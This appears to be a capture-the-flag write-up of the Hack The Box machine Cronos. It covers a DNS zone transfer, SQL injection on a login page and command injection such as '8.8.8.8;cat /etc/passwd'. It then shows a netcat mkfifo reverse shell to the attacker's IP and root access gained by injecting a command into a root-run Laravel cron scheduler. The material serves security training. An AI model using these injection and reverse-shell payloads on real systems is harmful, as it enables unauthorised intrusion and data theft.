We pick Cronos from the list:

Foothold

We can start with our usual nmap:

nmap -sS -A -T4 -p- 10.10.10.13

Output:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-27 18:03 EDT
Nmap scan report for 10.10.10.13
Host is up (0.14s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.2 - 4.9 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 4.8 (92%), Linux 4.9 (91%), Linux 3.12 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   176.61 ms 10.10.14.1
2   177.20 ms 10.10.10.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 320.46 seconds

While that’s loading we can see if they have a default website on default port 80:

And they do; the default Apache splash page.

cronos_apache

Let’s do a directory scan:

dirb http://10.10.10.13 -i

While that’s running we check out the nmap scan. It looks like DNS is open. Now if I recall, doing a zone transfer operates on TCP so if we picked it up it could be open for that.

From the naming convention we assume the main domain is cronos.htb.

Let’s use dig to enumerate some domains. We do an AXFR DNS Zone Transfer request as the type, then the server, then the A host name.

dig axfr @10.10.10.13 cronos.htb

Output:

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 449 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Fri Sep 27 20:16:46 EDT 2019
;; XFR size: 7 records (messages 1, bytes 203)

We will update our hosts file from this list:

vi /etc/hosts

Then add the hosts and save with :wq:

Let’s try going to http://cronos.htb.

cronos_main

The site just has external links and when we Inspect Element, there doesn’t seem to be a lot there.

Let’s try http://admin.cronos.htb.

cronos_login

We start Burp Suite and get a POST header for the login.

We copy the text and paste it into a new file:

vi cronos-login.req

Paste the text and save the file with :wq.

Then run sqlmap:

sqlmap -r cronos-login.req

While it runs we do a simple test:

cronos_sql_1

Nothing.

I tried a few different ones and eventually we get lucky.

We try a comment:

cronos_sql_2

Looks like that worked.

cronos_net_tool

And it looks like it takes in commands and outputs results:

cronos_net_tool_result

Let’s try a simple one like 8.8.8.8;uname -a:

Let’s for the sake of it check the user list 8.8.8.8;cat /etc/passwd:

We have a user: noulis.

Let’s check 8.8.8.8;ls -lh /home:

User

Alright, let’s go right for the user file 8.8.8.8; cat /home/noulis/user.txt:

Let’s see who is running the webserver 8.8.8.8; id:

At this point, I am thinking it may be time to attempt a reverse shell. We start by setting up a listener on our local Kali machine:

8.8.8.8; echo "/bin/sh -i 2>&1 | nc 10.10.XXX.XXX 4444" > /tmp/n; chmod +x /tmp/n

This page here helped find an alternative. 🔗 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

I ended up switching to this, which seems to make use of mkfifo: 🔗 https://linux.die.net/man/3/mkfifo

8.8.8.8;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XXX.XXX 4444 >/tmp/f

Then we run the file:

8.8.8.8; /tmp/f

And get connected.

Privilege Escalation

Once connected, on our local Kali machine, start our simple http server:

python -m SimpleHTTPServer 9999

This is so we can move files over. We can use rebootuser‘s LinEnum.sh:

wget -O enum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Then on the remote shell, we move over to the /tmp directory and grab the file.

cd /tmp/ && wget http://10.10.XXX.XXX:9999/enum.sh

Change permissions and run:

chmod +x enum.sh ./enum.sh

Let the script run and see if we get any interesting results.

After it runs, we see a non-default cron job:

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

We check it out:

cat /var/www/laravel/artisan

It looks like it loads app from /bootstrap/app.php and inside that file we see the path for the $kernel load:

$app->singleton(
    Illuminate\Contracts\Console\Kernel::class,
    App\Console\Kernel::class
);

So we check out that file:

cat ../app/Console/Kernel.php

From the output we are going to look for a function called schedule():

/**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')
        //          ->hourly();
    }

Now in this case, if we wanted to get full root access we would launch another shell. But since we are ultimately doing so to get the root file, we can attempt to copy it into a file in /tmp and change the user permissions to www-data.

$schedule->exec('cat /root/root.txt > /tmp/root.txt; chown www-data: /tmp/root.txt')->everyMinute();

After one minute, we can get the file:

cat /tmp/root.txt